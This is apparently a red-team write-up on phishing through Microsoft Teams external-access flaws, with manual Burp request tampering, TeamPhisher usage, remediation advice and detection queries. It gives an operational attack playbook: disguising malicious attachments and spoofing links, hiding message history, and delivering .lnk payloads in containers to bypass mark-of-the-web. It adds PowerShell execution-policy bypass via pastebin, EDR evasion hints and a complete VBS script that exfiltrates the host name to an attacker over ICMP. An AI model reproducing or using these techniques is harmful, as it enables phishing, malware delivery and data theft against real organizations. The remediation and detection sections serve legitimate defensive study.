Phishing on Microsoft Teams + general considerations
Implementation of a phishing campaign through known Microsoft Teams vulnerabilities with automation tools and manual exploitation
DISCLAIMER
This material is for educational and research purposes only. Do not attempt to violate the law with any of the material contained here. Do not use this information maliciously. I can not be held responsible for any error or negligence derived therefrom, use at your own risk.
Table of contents
Summary
The tests aim to exploit known flaws of Microsoft Teams discovered by Max Corbridge and Tom Ellson1 that allows an external user to contact an internal user or a list of users within the organization through group chat.
The phishing attempt is facilitated also by the feature of Microsoft Teams that format Share Point links as they were files directly sent in the conversation.
The Attacker can impersonate someone inside the organization just by knowing first name and last name, the picture of the account will be automatically generated with the initials; the phone notifications have no evidence that the message is coming from someone outside the organization.
The Group chat has a visible icon that shows that its not a 1 to 1 conversation and inside it its visible that the message is sent by an external user anyway the group chat name will be changed to the one of the sender.
The final considerations will be about the development of payloads/techniques that allows the attacker to understand if the campaign was successful + small considerations about AV/EDR evasion.
Requirements:
- Microsoft Business subscription (Free Trial Available) with Share Point and Microsoft Teams ready to use.
- target email
The tools used are:
- TeamPhisher (automation)2
- Burp Suite (manual)
Objectives:
- Verify the exploitability of this flaws and estimate the success that they would have in a real campaign
- Internal training
- Implement new security features to deny this flaws (Remediation plan)
Data and tests
General Info
Using the azure domain free its possible to setup a custom domain like the one we used REDACTED.onmicrosoft.com
and a user like
REDACTED@REDACTED.onmicrosoft.com
( create something that blends more with the org that you are trying to infiltrate :] like Helpdesk ICT with a similar domain), the cost of this procedure is 1$.
Defender AV and Microsoft EDR were present in the testing environment (victim machine).
Manual Tests
Testing of the following Microsoft Teams flaws/vulnerabilities:34
- verify if its possible to know if a user has external communication enabled
- verify if its possible to add a user to a group chat and send messages, verify that the user saw the message
- verify if its possible to send a message to a group chat and when intercepted you can add an attachment
- verify if its possible to send a message + attachment to a group chat and tamper the file extension/name
- verify if its possible to spoof links so that it forwards to a malicious site/file
- verify if its possible to tamper the chat with client messageID’s, eliminating proofs of edit and messages
- verify if its possible to remove some IOC such as the external tag when the group chat is created
1. user has external communication enabled
New chat > To: > insert email > search externally > if the external contact is enabled the user will be found
2. add an external user to a group chat and send messages bypassing the block with message seen verification
New chat > To: > insert email of the user 2 times > insert a name for the group > send the message
message seen by the victim.
block if the message is directly sent to the victim.
3. send a message to a group chat with the victim and when intercepted you can add an attachment
Executing the same steps of point number 2 we can intercept the POST request that its sent with the message and add the file string to the body to the already sent message, why is that even useful? Because we cant always send attachments directly from the GUI interface as there isn’t always the proper icon.
POC
post request modified.
to retrieve the files variables that are censored we can send the same file to a user trough the GUI and intercept the body with burpsuite.
missing attachment icon.
4. send a message + attachment to a group chat and tamper the file extension/name
following the steps of point 3 we can modify the type and title tags in the file string part. Changing the type will render the file with the image of that extension type (in this case word) and changing the title will change the name of the file shown in the chat.
POC
changes made.
results.
Note: its also possible to change the shareUrl to redirect the victim to a different file or to a completely different site.
5. spoof links so that it forwards to a malicious site/file
following the steps of point 4 we can modify another part of the file string like the ShareUrl to redirect the victim wherever we like.
POC
victim pov.
Note: the victim can see the malicious ShareUrl so it can be easy to detect, but if we redirect it to another sharepoint file it might not be that obvious that the file name/extension changed.
6. Tamper the chat with client messageID’s
It’s possible to modify a Microsoft Teams chat through the tampering of client message id’s, this vuln enable the attacker to delete IOC and history of messages sent by knowing the client message id of a previous message sent.
POC
attacker sends the message and intercepts the client message ID
Victim POV
the attacker tampers the message by resending a message with the same client message id
Victim POV
Note: the new message will have the OriginalTimeArrived different from the original message so it will be sent after as a new message and the previous message will be deleted as it never existed in the sequence of messages To be confirmed from Microsoft Teams admin center.
7. remove some IOC such as the external tag when the group chat is created
Unfortunately, this vulnerability5 is patched and as of today there isn’t something that is effective as this was.
broken result
it’s also possible to modify the username of the attacking user in Azure using some unicode emojis to try to move the external text or to make it more similar with the warning text its possible to use something like Helpdesk (internal) &
.
Ideas
During the manual tests phase I encountered something very interesting like this orgid.
The second orgid is the ObjectID of my victim user in the Active Directory that is transmitted as clear text, I believe that with more testing and modifying of the request it could be possible to impersonate a user inside an organization with an already known user. As just changing the orgid with a known one inside the org doesn’t work and the message isn’t sent probably because of the too many ID’s and controls that are hidden.
It is also shown an EndpointID with a status like active or Inactive that represents what I think is the status of the sender.
There are some gzip encoded requests that when decoded (use burp decoder or cyberchef) shows telemetry parameters and error logs but nothing that I found useful for our purpose.
Here are some of the possible attack chains that we suppose to use in our testing environment , this is just an example an not enough articulated to describe every aspect of the attack but it’s a general idea of how to carry on the phishing attempt.
Possible Attack chains and payload considerations
In this phishing campaign we are interested only in detecting the success of our attack attempts and in identifying the phished users. So the objectives will be to detect if the users effectively click a phishing link that redirects to a fake microsoft login page (tracked with custom urls per user) or if they download and execute the malicious file.
With that being said after further testing I believe that the best options for the payload are a Zip archive6 that can contain a .lnk file7 that executes a hidden script in VBS or PS (Macros are now disabled by default on windows :().
Sending the script directly as a .lnk or .ps1/.vbs and tamper the file extension on teams is a possibility, but the user can detect it easily looking at what he is effectively downloading + MOTW alerts.
I then discovered while digging into stack overflow that browsers like Chrome have implemented security features for .lnk files adding the .DOWNLOAD extension and preventing the direct execution if not renamed.
if (IsShellIntegratedExtension(extension)) extension = kDefaultExtension; //<--"download"
where IsShellIntegratedExtension
returns true for lnk
extensions:
if ((extension_lower == FILE_PATH_LITERAL("local")) || (extension_lower == FILE_PATH_LITERAL("lnk"))) return true;
The delivery of the payload encounter two obstacles that can prevent the user from falling into the trap: the first one is MOTW (mark of the web) that prevent the user from executing the file by raising a suspicious smart-screen blue pop-up that re-asks the user if he really wants to open the file. To bypass8 this we can use ISO/VHD containers or 7zip files (default options in the 7zip applications have MOTW disabled for the childs inside the archive) that once extracted won’t have the MOTW. If we are in a C2 situation we can nest the powershell commands under trusted utilities/applications like SyncAppvPublishingServer.exe9 or conhost.exe to download and run commands remotely(this can trigger EDR).
The second one would be the Execution Policies of Powershell, as Default that should have the value of “remote signed”. During the testing phase this policy didnt prevent the execution of the script on WIN10, as it was a normal ping command, but they did on WIN11 and you can encounter more blocks if you try to execute different commands. Fortunately to bypass execution policy we have scheduled tasks that can be used with the Invoke-WebRequest to call commands directly from pastebin.
Do not try to convert directly the vbs script to exe as AV/EDR will detect it very easily the only way is to create a custom wrapper that allows the execution of the code.
Possible file ideas to trick the user:
- meeting launcher
- sensitive information inside a zip protected with password
- receipts or financial data disguised as PDFs
Data Exfiltration
The data exfiltration technique used was ICMP Tunneling and the whole idea of the ping length was taken from Rocco Sicilia10 work. This kind of script was done because on windows we can’t insert messages directly into the ping command as it is on Linux.
Dim ip
ip = ""
Dim MY_DATA
MY_DATA = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%COMPUTERNAME%")
Dim bytes
bytes = StrToByteArray(MY_DATA)
Dim base64string
base64string = CustomBase64Encode(bytes)
'WScript.Echo base64string
Dim shell, pingCmd, i
Set shell = CreateObject("WScript.Shell")
pingCmd = "ping -n 1 -l 1 " & ip
shell.Run pingCmd, 0, True
For i = 1 To Len(base64string)
Dim x
x = AscW(Mid(base64string, i, 1))
Dim dataBuffer
ReDim dataBuffer(x - 1)
pingCmd = "ping -n 1 -l " & x & " " & ip
shell.Run pingCmd, 0, True
WScript.Sleep 100
Next
Function CustomBase64Encode(bytes)
Dim base64Chars, padding
base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
padding = "="
Dim dataLength, outLength, p1, p2, p3
dataLength = UBound(bytes) - LBound(bytes) + 1
outLength = 4 * ((dataLength + 2) \ 3)
Dim output, ipos, opos, a
ReDim output(outLength - 1)
ipos = 0
opos = 0
Do While ipos < dataLength
p1 = bytes(ipos)
ipos = ipos + 1
a = a Or (p1 And 255)
If ipos < dataLength Then
p2 = bytes(ipos)
ipos = ipos + 1
a = a * 256 + (p2 And 255)
Else
p2 = 0
a = a * 256
End If
If ipos < dataLength Then
p3 = bytes(ipos)
ipos = ipos + 1
a = a * 256 + (p3 And 255)
Else
p3 = 0
a = a * 256
End If
output(opos) = Mid(base64Chars, (a \ 262144) + 1, 1)
opos = opos + 1
output(opos) = Mid(base64Chars, ((a \ 4096) And 63) + 1, 1)
opos = opos + 1
output(opos) = Mid(base64Chars, ((a \ 64) And 63) + 1, 1)
opos = opos + 1
output(opos) = Mid(base64Chars, (a And 63) + 1, 1)
opos = opos + 1
a = 0
Loop
If dataLength Mod 3 = 1 Then
output(opos - 2) = padding
ElseIf dataLength Mod 3 = 2 Then
output(opos - 1) = padding
End If
CustomBase64Encode = Join(output, "")
End Function
Function StrToByteArray(str)
Dim i, byteArray()
ReDim byteArray(Len(str) - 1)
For i = 1 To Len(str)
byteArray(i - 1) = AscB(Mid(str, i, 1))
Next
StrToByteArray = byteArray
End Function
The end goal of this script is to extract the computer name (to identify who got phished) and encode it to Base64 then take every letter and it’s ASCII value, the ASCII value will then be inserted inside the ping command as the length of the data section of the ping. On the attacker machine we will have a program taking the length of the data and coverting it to the original message.
Automation Tests using TeamPhisher
we installed the following packages with pip
pip3 install msal
pip3 install colorama
Using the account associated with the Microsoft business license it is possible to insert a list of targets(targets.txt), a message(message.txt) and the malicious file as an attachment(bilancio.zip).
POC
python3 teamsphisher.py -u [REDACTED].onmicrosoft.com -p '[REDACTED]' -l targets.txt -a /home/kali/Desktop/bilancio.zip -m message.txt --log
- This is the attacker Teams pov:
Teams on browser
- This is the victim Teams pov with notifications:
phone notification
desktop notification
Teams App
To personalize the code of the message there is an automatic greetings that’s customizable or it can be turned off with the --nogreeting
option.
Code
## Global Options and Variables ##
# Greeting: The greeting to use in messages sent to targets. Will be joined with the targets name if the --personalize flag is used
# Examples: "Hi" "Good Morning" "Greetings"
Greeting = "Salve"
# useragent: The useragent string to use for web requests
useragent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)"
It is also possible to customize the header of the request that will be sent.
Code
body = """{
"content": "%s",
"messagetype": "RichText/Html",
"contenttype": "text",
"amsreferences": [],
"clientmessageid": "3529890327684204137",
"imdisplayname": "Federico Lorenzon",
"properties": {
"files": "[{\\"@type\\":\\"http://schema.skype.com/File\\",\\"version\\":2,\\"id\\":\\"%s\\",\\"baseUrl\\":\\"%s/personal/%s/\\",\\"type\\":\\"%s\\",\\"title\\":\\"%s\\",\\"state\\":\\"active\\",\\"objectUrl\\":\\"%s/personal/%s/Documents/Microsoft%%20Teams%%20Chat%%20Files/%s\\",\\"providerData\\":\\"\\",\\"itemid\\":\\"%s\\",\\"fileName\\":\\"%s\\",\\"fileType\\":\\"%s\\",\\"fileInfo\\":{\\"itemId\\":null,\\"fileUrl\\":\\"%s/personal/%s/Documents/Microsoft%%20Teams%%20Chat%%20Files/%s\\",\\"siteUrl\\":\\"https://teamphisher-my.sharepoint.com/personal/phisher_teamphisher_onmicrosoft_com/\\",\\"serverRelativeUrl\\":\\"\\",\\"shareUrl\\":\\"%s\\",\\"shareId\\":\\"%s\\"},\\"botFileProperties\\":{},\\"permissionScope\\":\\"anonymous\\",\\"filePreview\\":{},\\"fileChicletState\\":{\\"serviceName\\":\\"p2p\\",\\"state\\":\\"active\\"}}]",
"importance": "",
"subject": ""
}
}""" % (assembledMessage, uploadInfo.get('sharepointIds').get('listItemUniqueId'), senderSharepointURL, senderDrive, attachment.split(".")[-1], os.path.basename(attachment), senderSharepointURL, senderDrive, os.path.basename(attachment), uploadInfo.get('sharepointIds').get('listItemUniqueId'), os.path.basename(attachment), attachment.split(".")[-1], senderSharepointURL, senderDrive, os.path.basename(attachment), inviteInfo.get('d').get('ShareLink').get('sharingLinkInfo').get('Url'), inviteInfo.get('d').get('ShareLink').get('sharingLinkInfo').get('ShareId'))
more features and customization are available on the github page of the tool.
ERRORS ON THE WAY
The error was related with the formatting of the message and the use of special characters
Conclusions
This actions heavily relay on the flaws of Microsoft Teams and the trust that the employees might have towards a product like this as it can be seen as a native extension of the communications inside an organization. Smart working can also be a small cause in the success of a campaign like this as missing human interactions influence and increase the value of chatting products within and outside organizations.
Microsoft has replied to the team that discovered this vulnerability that it has no priority on their schedule and is considered as social engineering as it heavily relay on the human factor , so they wont fix it, hopefully this will change in the future.
To remediate this we have different options:
- if the organization doesn’t need to communicate with external tenants you can disable the option to receive messages from externals in Microsoft Teams Admin Center > External Access, this solution will solve the problem completely.
- if the organization needs to communicate with externals but they have known domains you can whitelist them in Microsoft Teams Admin Center > External Access.
- Implement Cloud Apps activity policies to monitor external users and their activities inside your organization (maybe also on other services)
- Staff/employees Education.
To detect this kind of attacks the only solution is custom detection rules and queries through sentinel and defender (as of today this queries could not be tested) this two were provided by Steven Lim here
UPDATE:: It seems that external messages aren’t collected from defender/purview/sentinel, that would prevent completely the manual detection with custom queries, this is a possible configuration mistake on data connectors from my side. I leave the queries below just for reference and for further personal study.
Microsoft Sentinel possible query1112
OfficeActivity
| where TimeGenerated > ago(1h)
| where RecordType =~ "MicrosoftTeams"
| where Operation == "MessageCreatedHasLink"
| where CommunicationType == CommunicationType == "GroupChat"
| where UserId !endswith "" and UserId !endswith ""
| extend UserDomains = tostring(split(UserId, '@')[1])
| extend UserIPs = tostring(split(ClientIP, '::ffff:')[1])
| where UserIPs != ""
| distinct UserIPs
| join ThreatIntelligenceIndicator on $left.UserIPs == $right.NetworkIP
Microsoft Defender 365
CloudAppEvents
| where Timestamp > ago(30d)
| where Application contains "Microsoft Teams"
| where ActionType == "MessageCreatedHasLink"
| where AccountId contains "@"
| extend ExtUserDomain = tostring(split(AccountId, '@')[1])
| extend CommunicationType=tostring(RawEventData.CommunicationType)
| extend ClientIP=tostring(RawEventData.ClientIP)
| extend ExtUserIP = tostring(split(ClientIP, '::ffff:')[1])
| extend MsgURL=tostring(RawEventData.MessageURLs)
| extend TeamsMsgURL=substring(MsgURL, 2, strlen(MsgURL)-4)
| where CommunicationType == "OneOnOne" or CommunicationType == "GroupChat"
| sort by Timestamp desc
| project Timestamp, ExtUserDomain, AccountId, ExtUserIP, IPAddress, IsAnonymousProxy, CountryCode, City, ISP, IPTags, IPCategory, RawEventData, TeamsMsgURL
| join UrlClickEvents on $left.TeamsMsgURL == $right.Url
| where Workload == "Teams"
Footnotes
EDIT 31/07: typo corrections
EDIT 02/08: disclaimer add